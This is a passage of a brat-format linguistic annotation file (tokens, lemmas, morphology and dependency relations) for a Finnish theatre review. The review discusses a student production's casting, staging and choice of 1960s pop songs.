R25 preconj Arg1:T34 Arg2:T33
R26 punct Arg1:T34 Arg2:T35
R27 nsubj Arg1:T32 Arg2:T29
R28 aux Arg1:T32 Arg2:T30
R29 nommod-exp Arg1:T32 Arg2:T37
R30 name Arg1:T29 Arg2:T28
R31 punct Arg1:T32 Arg2:T38
R32 nommod Arg1:T32 Arg2:T34
R33 conj Arg1:T34 Arg2:T37
R34 nommod Arg1:T32 Arg2:T31
R35 nn Arg1:T29 Arg2:T27
R36 cc Arg1:T34 Arg2:T36
T39 Pcle 294 304 Ainoastaan
#39 Lemma T39 ainoastaan
A117 CASECHANGE T39 Cap
T40 Pcle 305 309 ihan
#40 Lemma T40 ihan
A118 CASECHANGE T40 cap
T41 N 310 315 lopun
#41 Lemma T41 loppu
A119 NUM T41 Sg
A120 CASE T41 Gen
A121 CASECHANGE T41 cap
T42 N 316 326 tapahtumat
#42 Lemma T42 tapahtuma
A122 NUM T42 Pl
A123 CASE T42 Nom
A124 CASECHANGE T42 cap
T43 V 327 335 alkoivat
#43 Lemma T43 alkaa
A125 PRS T43 Pl3
A126 VOICE T43 Act
A127 TENSE T43 Prt
A128 MOOD T43 Ind
A129 CASECHANGE T43 cap
T44 V 336 340 olla
#44 Lemma T44 olla
A130 NUM T44 Sg
A131 CASE T44 Lat
A132 VOICE T44 Act
A133 INF T44 Inf1
A134 CASECHANGE T44 cap
T45 Adv 341 356 dramaturgisesti
#45 Lemma T45 dramaturgi
A135 DRV T45 Der_sti
A136 CASECHANGE T45 cap
T46 N 357 363 puuroa
#46 Lemma T46 puuro
A137 NUM T46 Sg
A138 CASE T46 Par
A139 CASECHANGE T46 cap
T47 Punct 364 365 ,
#47 Lemma T47 ,
T48 N 366 371 ikään
#48 Lemma T48 ikä
A140 NUM T48 Sg
A141 CASE T48 Ill
A142 CASECHANGE T48 cap
T49 N 372 376 kuin
#49 Lemma T49 kuu
A143 NUM T49 Pl
A144 CASE T49 Ins
A145 CASECHANGE T49 cap
T50 N 377 385 innostus
#50 Lemma T50 innostus
A146 NUM T50 Sg
A147 CASE T50 Nom
A148 CASECHANGE T50 cap
T51 V 386 391 olisi
#51 Lemma T51 olla
A149 PRS T51 Sg3
A150 VOICE T51 Act
A151 MOOD T51 Cond
A152 CASECHANGE T51 cap
T52 V 392 398 vienyt
#52 Lemma T52 viedä
A153 NUM T52 Sg
A154 CASE T52 Nom
A155 VOICE T52 Act
A156 PCP T52 PrfPrc
A157 CMP T52 Pos
A158 CASECHANGE T52 cap
T53 N 399 406 tarinaa
#53 Lemma T53 tarina
A159 NUM T53 Sg
A160 CASE T53 Par
A161 CASECHANGE T53 cap
T54 Adv 407 416 eteenpäin
#54 Lemma T54 eteenpäin
A162 CASECHANGE T54 cap
T55 Punct 417 418 ,
#55 Lemma T55 ,
T56 C 419 424 mutta
#56 Lemma T56 mutta
A163 SUBCAT T56 CC
A164 CASECHANGE T56 cap
T57 Adv 425 433 yhtäkkiä
#57 Lemma T57 yhtäkkiä
A165 CASECHANGE T57 cap
T58 V 434 439 olisi
#58 Lemma T58 olla
A166 PRS T58 Sg3
A167 VOICE T58 Act
A168 MOOD T58 Cond
A169 CASECHANGE T58 cap
T59 V 440 446 tullut
#59 Lemma T59 tulla
A170 NUM T59 Sg
A171 CASE T59 Nom
A172 VOICE T59 Act
A173 PCP T59 PrfPrc
A174 CMP T59 Pos
A175 CASECHANGE T59 cap
T60 N 447 454 ongelma
#60 Lemma T60 ongelma
A176 NUM T60 Sg
A177 CASE T60 Nom
A178 CASECHANGE T60 cap
T61 Punct 455 456 ,
#61 Lemma T61 ,
T62 Pron 457 462 mihin
#62 Lemma T62 mikä
A179 SUBCAT T62 Interr
A180 NUM T62 Sg
A181 CASE T62 Ill
A182 CASECHANGE T62 cap
T63 N 463 468 jutun
#63 Lemma T63 juttu
A183 NUM T63 Sg
A184 CASE T63 Gen
A185 CASECHANGE T63 cap
T64 V 469 476 päättää
#64 Lemma T64 päättää
A186 PRS T64 Sg3
A187 VOICE T64 Act
A188 TENSE T64 Prs
A189 MOOD T64 Ind
A190 CASECHANGE T64 cap
T65 Punct 477 478 .
#65 Lemma T65 .
R37 advcl Arg1:T43 Arg2:T52
R38 advmod Arg1:T59 Arg2:T57
R39 dep Arg1:T49 Arg2:T48
R40 xsubj-cop Arg1:T46 Arg2:T42
R41 xcomp Arg1:T43 Arg2:T46
R42 punct Arg1:T64 Arg2:T61
R43 aux Arg1:T59 Arg2:T58
R44 dobj Arg1:T64 Arg2:T63
R45 nsubj Arg1:T43 Arg2:T42
R46 advmod Arg1:T52 Arg2:T49
R47 nommod Arg1:T64 Arg2:T62
R48 ccomp Arg1:T60 Arg2:T64
R49 nsubj Arg1:T59 Arg2:T60
R50 advmod Arg1:T41 Arg2:T39
R51 nsubj Arg1:T52 Arg2:T50
R52 aux Arg1:T52 Arg2:T51
R53 conj Arg1:T52 Arg2:T59
R54 punct Arg1:T52 Arg2:T47
R55 advcl-exp Arg1:T43 Arg2:T59
R56 dobj Arg1:T52 Arg2:T53
R57 cop Arg1:T46 Arg2:T44
R58 advmod Arg1:T52 Arg2:T54
R59 cc Arg1:T52 Arg2:T56
R60 advmod Arg1:T41 Arg2:T40
R61 punct Arg1:T43 Arg2:T65
R62 poss Arg1:T42 Arg2:T41
R63 advmod-exp Arg1:T59 Arg2:T49
R64 advmod Arg1:T46 Arg2:T45
R65 punct Arg1:T52 Arg2:T55
T66 N 479 487 Roolitus
#66 Lemma T66 roolitus
A191 NUM T66 Sg
A192 CASE T66 Nom
A193 OTHER T66 UNK
T67 V 488 491 oli
#67 Lemma T67 olla
A194 PRS T67 Sg3
A195 VOICE T67 Act
A196 TENSE T67 Prt
A197 MOOD T67 Ind
A198 CASECHANGE T67 cap
T68 Pcle 492 497 hyvin
#68 Lemma T68 hyvin
A199 CASECHANGE T68 cap
T69 A 498 508 onnistunut
#69 Lemma T69 onnistunut
A200 NUM T69 Sg
A201 CASE T69 Nom
A202 CMP T69 Pos
A203 CASECHANGE T69 cap
T70 Punct 509 510 .
#70 Lemma T70 .
R66 nsubj-cop Arg1:T69 Arg2:T66
R67 advmod Arg1:T69 Arg2:T68
R68 cop Arg1:T69 Arg2:T67
R69 punct Arg1:T69 Arg2:T70
T71 A 511 517 Hienoa
#71 Lemma T71 hieno
A204 NUM T71 Sg
A205 CASE T71 Par
A206 CMP T71 Pos
A207 CASECHANGE T71 Cap
T72 Punct 518 519 ,
#72 Lemma T72 ,
T73 C 520 524 että
#73 Lemma T73 että
A208 SUBCAT T73 CS
A209 CASECHANGE T73 cap
T74 N 525 534 rooleihin
#74 Lemma T74 rooli
A210 NUM T74 Pl
A211 CASE T74 Ill
A212 CASECHANGE T74 cap
T75 V 535 538 oli
#75 Lemma T75 olla
A213 PRS T75 Sg3
A214 VOICE T75 Act
A215 TENSE T75 Prt
A216 MOOD T75 Ind
A217 CASECHANGE T75 cap
T76 V 539 547 löytynyt
#76 Lemma T76 löytyä
A218 NUM T76 Sg
A219 CASE T76 Nom
A220 VOICE T76 Act
A221 PCP T76 PrfPrc
A222 CMP T76 Pos
A223 CASECHANGE T76 cap
T77 A 548 554 oikean
#77 Lemma T77 oikea
A224 NUM T77 Sg
A225 CASE T77 Gen
A226 CMP T77 Pos
A227 CASECHANGE T77 cap
T78 A 555 562 ikäisiä
#78 Lemma T78 ikäinen
A228 NUM T78 Pl
A229 CASE T78 Par
A230 CMP T78 Pos
A231 CASECHANGE T78 cap
T79 C 563 565 ja
#79 Lemma T79 ja
A232 SUBCAT T79 CC
A233 CASECHANGE T79 cap
T80 Pcle 566 571 hyvin
#80 Lemma T80 hyvin
A234 CASECHANGE T80 cap
T81 V 572 580 laulavia
#81 Lemma T81 laulaa
A235 NUM T81 Pl
A236 CASE T81 Par
A237 VOICE T81 Act
A238 PCP T81 PrsPrc
A239 CMP T81 Pos
A240 CASECHANGE T81 cap
T82 N 581 594 näyttelijöitä
#82 Lemma T82 näyttelijä
A241 NUM T82 Pl
A242 CASE T82 Par
A243 CASECHANGE T82 cap
T83 Punct 595 596 .
#83 Lemma T83 .
R70 punct Arg1:T71 Arg2:T83
R71 amod Arg1:T82 Arg2:T78
R72 cc Arg1:T78 Arg2:T79
R73 nsubj Arg1:T76 Arg2:T82
R74 partmod-exp Arg1:T82 Arg2:T81
R75 aux Arg1:T76 Arg2:T75
R76 complm Arg1:T76 Arg2:T73
R77 amod Arg1:T78 Arg2:T77
R78 conj Arg1:T78 Arg2:T81
R79 csubj-cop Arg1:T71 Arg2:T76
R80 advmod Arg1:T81 Arg2:T80
R81 punct Arg1:T76 Arg2:T72
R82 nommod Arg1:T76 Arg2:T74
T84 Pcle 597 606 Varsinkin
#84 Lemma T84 varsinkin
A244 CASECHANGE T84 Cap
T85 N 607 612 Salla
#85 Lemma T85 Salla
A245 SUBCAT T85 Prop
A246 NUM T85 Sg
A247 CASE T85 Nom
A248 CASECHANGE T85 cap
T86 N 613 618 Närän
#86 Lemma T86 närä
A249 NUM T86 Sg
A250 CASE T86 Gen
A251 CASECHANGE T86 Cap
T87 V 619 627 esittämä
#87 Lemma T87 esittää
A252 NUM T87 Sg
A253 CASE T87 Nom
A254 VOICE T87 Act
A255 PCP T87 AgPcp
A256 CMP T87 Pos
A257 CASECHANGE T87 cap
T88 N 628 639 pornokaupan
#88 Lemma T88 porno|kauppa
A258 NUM T88 Sg
A259 CASE T88 Gen
A260 CASECHANGE T88 cap
T89 A 640 644 paha
#89 Lemma T89 paha
A261 NUM T89 Sg
A262 CASE T89 Nom
A263 CMP T89 Pos
A264 CASECHANGE T89 cap
T90 N 645 650 puuma
#90 Lemma T90 puuma
A265 NUM T90 Sg
A266 CASE T90 Nom
A267 CASECHANGE T90 cap
T91 C 651 655 sekä
#91 Lemma T91 sekä
A268 SUBCAT T91 CC
A269 CASECHANGE T91 cap
T92 N 656 661 Tarja
#92 Lemma T92 Tarja
A270 SUBCAT T92 Prop
A271 NUM T92 Sg
A272 CASE T92 Nom
A273 CASECHANGE T92 cap
T93 N 662 668 Vuolan
#93 Lemma T93 Vuola
A274 SUBCAT T93 Prop
A275 NUM T93 Sg
A276 CASE T93 Gen
A277 OTHER T93 UNK
T94 A 669 682 elämäpakoinen
#94 Lemma T94 elämä|pakoinen
A278 NUM T94 Sg
A279 CASE T94 Nom
A280 CMP T94 Pos
A281 CASECHANGE T94 cap
T95 N 683 693 leskirouva
#95 Lemma T95 leski|rouva
A282 NUM T95 Sg
A283 CASE T95 Nom
A284 CASECHANGE T95 cap
T96 V 694 704 lunastivat
#96 Lemma T96 lunastaa
A285 PRS T96 Pl3
A286 VOICE T96 Act
A287 TENSE T96 Prt
A288 MOOD T96 Ind
A289 CASECHANGE T96 cap
T97 N 705 714 paikkansa
#97 Lemma T97 paikka
A290 NUM T97 Pl
A291 CASE T97 Nom
A292 POSS T97 PxPl3
A293 CASECHANGE T97 cap
T98 Punct 715 716 .
#98 Lemma T98 .
R83 advmod Arg1:T90 Arg2:T84
R84 poss Arg1:T95 Arg2:T93
R85 poss Arg1:T90 Arg2:T88
R86 dobj Arg1:T96 Arg2:T97
R87 advmod-exp Arg1:T95 Arg2:T84
R88 conj Arg1:T90 Arg2:T95
R89 amod Arg1:T95 Arg2:T94
R90 cc Arg1:T90 Arg2:T91
R91 name Arg1:T86 Arg2:T85
R92 nsubj Arg1:T96 Arg2:T90
R93 partmod Arg1:T90 Arg2:T87
R94 nsubj Arg1:T87 Arg2:T86
R95 nsubj-exp Arg1:T96 Arg2:T95
R96 amod Arg1:T90 Arg2:T89
R97 punct Arg1:T96 Arg2:T98
R98 name Arg1:T93 Arg2:T92
T99 N 717 725 Lavastus
#99 Lemma T99 lavastus
A294 NUM T99 Sg
A295 CASE T99 Nom
A296 CASECHANGE T99 Cap
T100 V 726 729 oli
#100 Lemma T100 olla
A297 PRS T100 Sg3
A298 VOICE T100 Act
A299 TENSE T100 Prt
A300 MOOD T100 Ind
A301 CASECHANGE T100 cap
T101 Pcle 730 733 nyt
#101 Lemma T101 nyt
A302 CASECHANGE T101 cap
T102 Pron 734 738 sitä
#102 Lemma T102 se
A303 SUBCAT T102 Dem
A304 NUM T102 Sg
A305 CASE T102 Par
A306 CASECHANGE T102 cap
T103 Punct 739 740 ,
#103 Lemma T103 ,
T104 Pron 741 745 mitä
#104 Lemma T104 mikä
A307 SUBCAT T104 Rel
A308 NUM T104 Sg
A309 CASE T104 Par
A310 CASECHANGE T104 cap
T105 N 746 764 lopputyöbudjetilla
#105 Lemma T105 loppu|työ|budjetti
A311 NUM T105 Sg
A312 CASE T105 Ade
A313 CASECHANGE T105 cap
T106 V 765 768 saa
#106 Lemma T106 saada
A314 PRS T106 Sg3
A315 VOICE T106 Act
A316 TENSE T106 Prs
A317 MOOD T106 Ind
A318 CASECHANGE T106 cap
T107 A 769 779 aikaiseksi
#107 Lemma T107 aikainen
A319 NUM T107 Sg
A320 CASE T107 Tra
A321 CMP T107 Pos
A322 CASECHANGE T107 cap
T108 Punct 780 781 ,
#108 Lemma T108 ,
T109 C 782 787 mutta
#109 Lemma T109 mutta
A323 SUBCAT T109 CC
A324 CASECHANGE T109 cap
T110 Pron 788 790 se
#110 Lemma T110 se
A325 SUBCAT T110 Dem
A326 NUM T110 Sg
A327 CASE T110 Nom
A328 CASECHANGE T110 cap
T111 V 791 802 mahdollisti
#111 Lemma T111 mahdollistaa
A329 PRS T111 Sg3
A330 VOICE T111 Act
A331 TENSE T111 Prt
A332 MOOD T111 Ind
A333 CASECHANGE T111 cap
T112 Pron 803 806 sen
#112 Lemma T112 se
A334 SUBCAT T112 Dem
A335 NUM T112 Sg
A336 CASE T112 Gen
A337 CASECHANGE T112 cap
T113 Punct 807 808 ,
#113 Lemma T113 ,
T114 C 809 813 että
#114 Lemma T114 että
A338 SUBCAT T114 CS
A339 CASECHANGE T114 cap
T115 N 814 821 ohjaaja
#115 Lemma T115 ohjaaja
A340 NUM T115 Sg
A341 CASE T115 Nom
A342 CASECHANGE T115 cap
T116 N 822 832 Kanniainen
#116 Lemma T116 Kanniainen
A343 SUBCAT T116 Prop
A344 NUM T116 Sg
A345 CASE T116 Nom
A346 OTHER T116 UNK
T117 V 833 836 oli
#117 Lemma T117 olla
A347 PRS T117 Sg3
A348 VOICE T117 Act
A349 TENSE T117 Prt
A350 MOOD T117 Ind
A351 CASECHANGE T117 cap
T118 V 837 847 uskaltanut
#118 Lemma T118 uskaltaa
A352 NUM T118 Sg
A353 CASE T118 Nom
A354 VOICE T118 Act
A355 PCP T118 PrfPrc
A356 CMP T118 Pos
A357 CASECHANGE T118 cap
T119 V 848 853 ottaa
#119 Lemma T119 ottaa
A358 NUM T119 Sg
A359 CASE T119 Lat
A360 VOICE T119 Act
A361 INF T119 Inf1
A362 CASECHANGE T119 cap
T120 N 854 859 tilaa
#120 Lemma T120 tila
A363 NUM T120 Sg
A364 CASE T120 Par
A365 CASECHANGE T120 cap
T121 Adv 860 869 rohkeasti
#121 Lemma T121 rohkeasti
A366 CASECHANGE T121 cap
T122 N 870 878 käyttöön
#122 Lemma T122 käyttö
A367 NUM T122 Sg
A368 CASE T122 Ill
A369 CASECHANGE T122 cap
T123 Punct 879 880 .
#123 Lemma T123 .
R99 punct Arg1:T106 Arg2:T103
R100 rel Arg1:T106 Arg2:T104
R101 xcomp Arg1:T118 Arg2:T119
R102 xsubj Arg1:T119 Arg2:T116
R103 dobj Arg1:T111 Arg2:T112
R104 ccomp Arg1:T112 Arg2:T118
R105 nsubj-cop Arg1:T102 Arg2:T99
R106 dobj Arg1:T119 Arg2:T120
R107 cop Arg1:T102 Arg2:T100
R108 prt Arg1:T106 Arg2:T107
R109 conj Arg1:T102 Arg2:T111
R110 advmod Arg1:T102 Arg2:T101
R111 complm Arg1:T118 Arg2:T114
R112 nn Arg1:T116 Arg2:T115
R113 nommod Arg1:T119 Arg2:T122
R114 rcmod Arg1:T102 Arg2:T106
R115 cc Arg1:T102 Arg2:T109
R116 punct Arg1:T102 Arg2:T108
R117 aux Arg1:T118 Arg2:T117
R118 nsubj Arg1:T111 Arg2:T110
R119 nommod Arg1:T106 Arg2:T105
R120 dobj Arg1:T106 Arg2:T104
R121 punct Arg1:T102 Arg2:T123
R122 advmod Arg1:T119 Arg2:T121
R123 nsubj Arg1:T118 Arg2:T116
R124 punct Arg1:T118 Arg2:T113
T124 A 881 887 Turhan
#124 Lemma T124 turha
A370 NUM T124 Sg
A371 CASE T124 Gen
A372 CMP T124 Pos
A373 CASECHANGE T124 Cap
T125 Adv 888 893 usein
#125 Lemma T125 usein
A374 CASECHANGE T125 cap
T126 N 894 916 ammattiteattereissakin
#126 Lemma T126 ammatti|teatteri
A375 NUM T126 Pl
A376 CASE T126 Ine
A377 CLIT T126 Foc_kin
A378 CASECHANGE T126 cap
T127 V 917 928 lavastetaan
#127 Lemma T127 lavastaa
A379 PRS T127 Pe4
A380 VOICE T127 Pass
A381 TENSE T127 Prs
A382 MOOD T127 Ind
A383 CASECHANGE T127 cap
T128 Pron 929 933 koko
#128 Lemma T128 koko
A384 NUM T128 Sg
A385 CASE T128 Nom
A386 CASECHANGE T128 cap
T129 N 934 945 päänäyttämö
#129 Lemma T129 pää|näyttämö
A387 NUM T129 Sg
A388 CASE T129 Nom
A389 CASECHANGE T129 cap
T130 Punct 946 947 ,
#130 Lemma T130 ,
T131 C 948 953 mutta
#131 Lemma T131 mutta
A390 SUBCAT T131 CC
A391 CASECHANGE T131 cap
T132 N 954 961 ohjaaja
#132 Lemma T132 ohjaaja
A392 NUM T132 Sg
A393 CASE T132 Nom
A394 CASECHANGE T132 cap
T133 V 962 965 tuo
#133 Lemma T133 tuoda
A395 PRS T133 Sg3
A396 VOICE T133 Act
A397 TENSE T133 Prs
A398 MOOD T133 Ind
A399 CASECHANGE T133 cap
T134 Pcle 966 971 silti
#134 Lemma T134 silti
A400 CASECHANGE T134 cap
T135 Pron 972 978 kaiken
#135 Lemma T135 kaikki
A401 SUBCAT T135 Indef
A402 NUM T135 Sg
A403 CASE T135 Gen
A404 CASECHANGE T135 cap
T136 N 979 989 tapahtuman
#136 Lemma T136 tapahtuma
A405 NUM T136 Sg
A406 CASE T136 Gen
A407 CASECHANGE T136 cap
T137 N 990 1000 etureunaan
#137 Lemma T137 etu|reuna
A408 NUM T137 Sg
A409 CASE T137 Ill
A410 CASECHANGE T137 cap
T138 N 1001 1005 noin
#138 Lemma T138 noki
A411 NUM T138 Pl
A412 CASE T138 Ins
A413 CASECHANGE T138 cap
T139 Num 1006 1012 neljän
#139 Lemma T139 neljä
A414 SUBCAT T139 Card
A415 NUM T139 Sg
A416 CASE T139 Gen
A417 CASECHANGE T139 cap
T140 N 1013 1019 neliön
#140 Lemma T140 neliö
A418 NUM T140 Sg
A419 CASE T140 Gen
A420 CASECHANGE T140 cap
T141 N 1020 1028 alueelle
#141 Lemma T141 alue
A421 NUM T141 Sg
A422 CASE T141 All
A423 CASECHANGE T141 cap
T142 Punct 1029 1030 .
#142 Lemma T142 .
R125 poss Arg1:T141 Arg2:T140
R126 amod Arg1:T125 Arg2:T124
R127 dobj Arg1:T127 Arg2:T129
R128 punct Arg1:T127 Arg2:T142
R129 quantmod Arg1:T139 Arg2:T138
R130 nommod-exp Arg1:T133 Arg2:T126
R131 advmod Arg1:T133 Arg2:T134
R132 cc Arg1:T127 Arg2:T131
R133 num Arg1:T140 Arg2:T139
R134 amod Arg1:T129 Arg2:T128
R135 advmod-exp Arg1:T133 Arg2:T125
R136 punct Arg1:T127 Arg2:T130
R137 nommod Arg1:T133 Arg2:T137
R138 det Arg1:T136 Arg2:T135
R139 nommod Arg1:T127 Arg2:T126
R140 dobj Arg1:T133 Arg2:T136
R141 nsubj Arg1:T133 Arg2:T132
R142 conj Arg1:T127 Arg2:T133
R143 advmod Arg1:T127 Arg2:T125
R144 nommod Arg1:T137 Arg2:T141
T143 N 1031 1041 Mielestäni
#143 Lemma T143 mieli
A424 NUM T143 Sg
A425 CASE T143 Ela
A426 POSS T143 PxSg1
A427 CASECHANGE T143 Cap
T144 Adv 1042 1050 likimain
#144 Lemma T144 likimain
A428 CASECHANGE T144 cap
T145 Pcle 1051 1055 vain
#145 Lemma T145 vain
A429 CASECHANGE T145 cap
T146 N 1056 1060 Juha
#146 Lemma T146 Juha
A430 SUBCAT T146 Prop
A431 NUM T146 Sg
A432 CASE T146 Nom
A433 CASECHANGE T146 cap
T147 N 1061 1071 Malmivaara
#147 Lemma T147 malmi|vaara
A434 NUM T147 Sg
A435 CASE T147 Nom
A436 CASECHANGE T147 Cap
T148 V 1072 1074 on
#148 Lemma T148 olla
A437 PRS T148 Sg3
A438 VOICE T148 Act
A439 TENSE T148 Prs
A440 MOOD T148 Ind
A441 CASECHANGE T148 cap
T149 A 1075 1080 ainoa
#149 Lemma T149 ainoa
A442 NUM T149 Sg
A443 CASE T149 Nom
A444 CMP T149 Pos
A445 CASECHANGE T149 cap
T150 A 1081 1092 suomalainen
#150 Lemma T150 suomalainen
A446 NUM T150 Sg
A447 CASE T150 Nom
A448 CMP T150 Pos
A449 CASECHANGE T150 cap
T151 N 1093 1100 ohjaaja
#151 Lemma T151 ohjaaja
A450 NUM T151 Sg
A451 CASE T151 Nom
A452 CASECHANGE T151 cap
T152 Punct 1101 1102 ,
#152 Lemma T152 ,
T153 Pron 1103 1107 joka
#153 Lemma T153 joka
A453 SUBCAT T153 Rel
A454 NUM T153 Sg
A455 CASE T153 Nom
A456 CASECHANGE T153 cap
T154 V 1108 1115 kykenee
#154 Lemma T154 kyetä
A457 PRS T154 Sg3
A458 VOICE T154 Act
A459 TENSE T154 Prs
A460 MOOD T154 Ind
A461 CASECHANGE T154 cap
T155 V 1116 1126 alistamaan
#155 Lemma T155 alistaa
A462 NUM T155 Sg
A463 CASE T155 Ill
A464 VOICE T155 Act
A465 INF T155 Inf3
A466 CASECHANGE T155 cap
T156 Pron 1127 1133 kaiken
#156 Lemma T156 kaikki
A467 SUBCAT T156 Indef
A468 NUM T156 Sg
A469 CASE T156 Gen
A470 CASECHANGE T156 cap
T157 N 1134 1139 tilan
#157 Lemma T157 tila
A471 NUM T157 Sg
A472 CASE T157 Gen
A473 CASECHANGE T157 cap
T158 N 1140 1150 käyttöönsä
#158 Lemma T158 käyttö
A474 NUM T158 Sg
A475 CASE T158 Ill
A476 POSS T158 PxPl3
A477 CASECHANGE T158 cap
T159 Punct 1151 1152 .
#159 Lemma T159 .
R145 xsubj Arg1:T155 Arg2:T153
R146 dobj Arg1:T155 Arg2:T157
R147 punct Arg1:T151 Arg2:T159
R148 advmod Arg1:T145 Arg2:T144
R149 name Arg1:T147 Arg2:T146
R150 xcomp Arg1:T154 Arg2:T155
R151 amod Arg1:T151 Arg2:T150
R152 punct Arg1:T154 Arg2:T152
R153 det Arg1:T157 Arg2:T156
R154 det Arg1:T151 Arg2:T149
R155 rcmod Arg1:T151 Arg2:T154
R156 nommod Arg1:T151 Arg2:T143
R157 advmod Arg1:T147 Arg2:T145
R158 cop Arg1:T151 Arg2:T148
R159 nommod Arg1:T155 Arg2:T158
R160 nsubj-cop Arg1:T151 Arg2:T147
R161 rel Arg1:T154 Arg2:T153
R162 nsubj Arg1:T154 Arg2:T153
T160 A 1153 1169 Mielenkiintoista
#160 Lemma T160 mielenkiintoinen
A478 NUM T160 Sg
A479 CASE T160 Par
A480 CMP T160 Pos
A481 CASECHANGE T160 Cap
T161 V 1170 1173 oli
#161 Lemma T161 olla
A482 PRS T161 Sg3
A483 VOICE T161 Act
A484 TENSE T161 Prt
A485 MOOD T161 Ind
A486 CASECHANGE T161 cap
T162 Pcle 1174 1178 myös
#162 Lemma T162 myös
A487 CASECHANGE T162 cap
T163 N 1179 1190 kappaleiden
#163 Lemma T163 kappale
A488 NUM T163 Pl
A489 CASE T163 Gen
A490 CASECHANGE T163 cap
T164 N 1191 1198 valinta
#164 Lemma T164 valinta
A491 NUM T164 Sg
A492 CASE T164 Nom
A493 CASECHANGE T164 cap
T165 Punct 1199 1200 .
#165 Lemma T165 .
R163 cop Arg1:T160 Arg2:T161
R164 advmod Arg1:T164 Arg2:T162
R165 punct Arg1:T160 Arg2:T165
R166 gobj Arg1:T164 Arg2:T163
R167 nsubj-cop Arg1:T160 Arg2:T164
T166 N 1201 1219 Kuusikymmentäluvun
#166 Lemma T166 kuusikymmentäluku
A494 NUM T166 Sg
A495 CASE T166 Gen
A496 CASECHANGE T166 Cap
T167 A 1220 1231 suomalainen
#167 Lemma T167 suomalainen
A497 NUM T167 Sg
A498 CASE T167 Nom
A499 CMP T167 Pos
A500 CASECHANGE T167 cap
T168 N 1232 1239 iskelmä
#168 Lemma T168 iskelmä
A501 NUM T168 Sg
A502 CASE T168 Nom
A503 CASECHANGE T168 cap
T169 V 1240 1243 oli
#169 Lemma T169 olla
A504 PRS T169 Sg3
A505 VOICE T169 Act
A506 TENSE T169 Prt
A507 MOOD T169 Ind
A508 CASECHANGE T169 cap
T170 Pcle 1244 1249 hyvin
#170 Lemma T170 hyvin
A509 CASECHANGE T170 cap
T171 V 1250 1261 valjastettu
#171 Lemma T171 valjastaa
A510 NUM T171 Sg
A511 CASE T171 Nom
A512 VOICE T171 Pass
A513 PCP T171 PrfPrc
A514 CMP T171 Pos
A515 CASECHANGE T171 cap
T172 V 1262 1273 kuvittamaan
#172 Lemma T172 kuvittaa
A516 NUM T172 Sg
A517 CASE T172 Ill
A518 VOICE T172 Act
A519 INF T172 Inf3
A520 CASECHANGE T172 cap
T173 Pron 1274 1279 tämän
#173 Lemma T173 tämä
A521 SUBCAT T173 Dem
A522 NUM T173 Sg
A523 CASE T173 Gen
A524 CASECHANGE T173 cap
T174 N 1280 1286 päivän
#174 Lemma T174 päivä
A525 NUM T174 Sg
A526 CASE T174 Gen
A527 CASECHANGE T174 cap
T175 A 1287 1298 suomalaisen
#175 Lemma T175 suomalainen
A528 NUM T175 Sg
A529 CASE T175 Gen
A530 CMP T175 Pos
A531 CASECHANGE T175 cap
T176 N 1299 1310 pornokaupan
#176 Lemma T176 porno|kauppa
A532 NUM T176 Sg
A533 CASE T176 Gen
A534 CASECHANGE T176 cap
T177 N 1311 1319 maailmaa
#177 Lemma T177 maa|ilma
A535 NUM T177 Sg
A536 CASE T177 Par
A537 CASECHANGE T177 cap
T178 Punct 1320 1321 .
#178 Lemma T178 .
R168 poss Arg1:T176 Arg2:T174
R169 iccomp Arg1:T171 Arg2:T172
R170 aux Arg1:T171 Arg2:T169
R171 amod Arg1:T168 Arg2:T167
R172 poss Arg1:T177 Arg2:T176
R173 nsubj Arg1:T172 Arg2:T168
R174 punct Arg1:T171 Arg2:T178
R175 advmod Arg1:T171 Arg2:T170
R176 poss Arg1:T168 Arg2:T166
R177 det Arg1:T174 Arg2:T173
R178 amod Arg1:T176 Arg2:T175
R179 dobj Arg1:T172 Arg2:T177
T179 Pcle 1322 1331 Varsinkin
#179 Lemma T179 varsinkin
A538 CASECHANGE T179 Cap
T180 Num 1332 1343 ensimmäisen
#180 Lemma T180 ensimmäinen
A539 SUBCAT T180 Ord
A540 NUM T180 Sg
A541 CASE T180 Gen
A542 CASECHANGE T180 cap
T181 N 1344 1353 näytöksen
#181 Lemma T181 näytös
A543 NUM T181 Sg
A544 CASE T181 Gen
A545 CASECHANGE T181 cap
T182 V 1354 1363 lopettava
#182 Lemma T182 lopettaa
A546 NUM T182 Sg
A547 CASE T182 Nom
A548 VOICE T182 Act
A549 PCP T182 PrsPrc
A550 CMP T182 Pos
A551 CASECHANGE T182 cap
T183 N 1364 1369 laulu
#183 Lemma T183 laulu
A552 NUM T183 Sg
A553 CASE T183 Nom
A554 CASECHANGE T183 cap
T184 N 1370 1385 Sirkusprinsessa
#184 Lemma T184 sirkus|prinsessa
A555 NUM T184 Sg
A556 CASE T184 Nom
A557 CASECHANGE T184 Cap
T185 V 1386 1389 oli
#185 Lemma T185 olla
A558 PRS T185 Sg3
A559 VOICE T185 Act
A560 TENSE T185 Prt
A561 MOOD T185 Ind
A562 CASECHANGE T185 cap
T186 Pcle 1390 1394 liki
#186 Lemma T186 liki
A563 CASECHANGE T186 cap
T187 N 1395 1400 veret
#187 Lemma T187 veri
A564 NUM T187 Pl
A565 CASE T187 Nom
A566 CASECHANGE T187 cap
T188 V 1401 1411 pysäyttävä
#188 Lemma T188 pysäyttää
A567 NUM T188 Sg
A568 CASE T188 Nom
A569 VOICE T188 Act
A570 PCP T188 PrsPrc
A571 CMP T188 Pos
A572 CASECHANGE T188 cap
T189 N 1412 1419 valinta
#189 Lemma T189 valinta
A573 NUM T189 Sg
A574 CASE T189 Nom
A575 CASECHANGE T189 cap
T190 Punct 1420 1421 .
#190 Lemma T190 .
R180 cop Arg1:T189 Arg2:T185
R181 nsubj-cop Arg1:T189 Arg2:T184
R182 advmod Arg1:T188 Arg2:T186
R183 num Arg1:T181 Arg2:T180
R184 nn Arg1:T184 Arg2:T183
R185 advmod Arg1:T184 Arg2:T179
R186 partmod Arg1:T183 Arg2:T182
R187 punct Arg1:T189 Arg2:T190
R188 dobj Arg1:T188 Arg2:T187
R189 partmod Arg1:T189 Arg2:T188
R190 dobj Arg1:T182 Arg2:T181
T191 Adv 1422 1429 Samalla
#191 Lemma T191 samalla
A576 CASECHANGE T191 Cap
T192 C 1430 1433 kun
#192 Lemma T192 kun
A577 SUBCAT T192 CS
A578 CASECHANGE T192 cap
T193 N 1434 1445 pornokaupan
#193 Lemma T193 porno|kauppa
A579 NUM T193 Sg
A580 CASE T193 Gen
A581 CASECHANGE T193 cap
T194 N 1446 1454 omistaja
#194 Lemma T194 omistaja
A582 NUM T194 Sg
A583 CASE T194 Nom
A584 CASECHANGE T194 cap
T195 V 1455 1461 kertoo
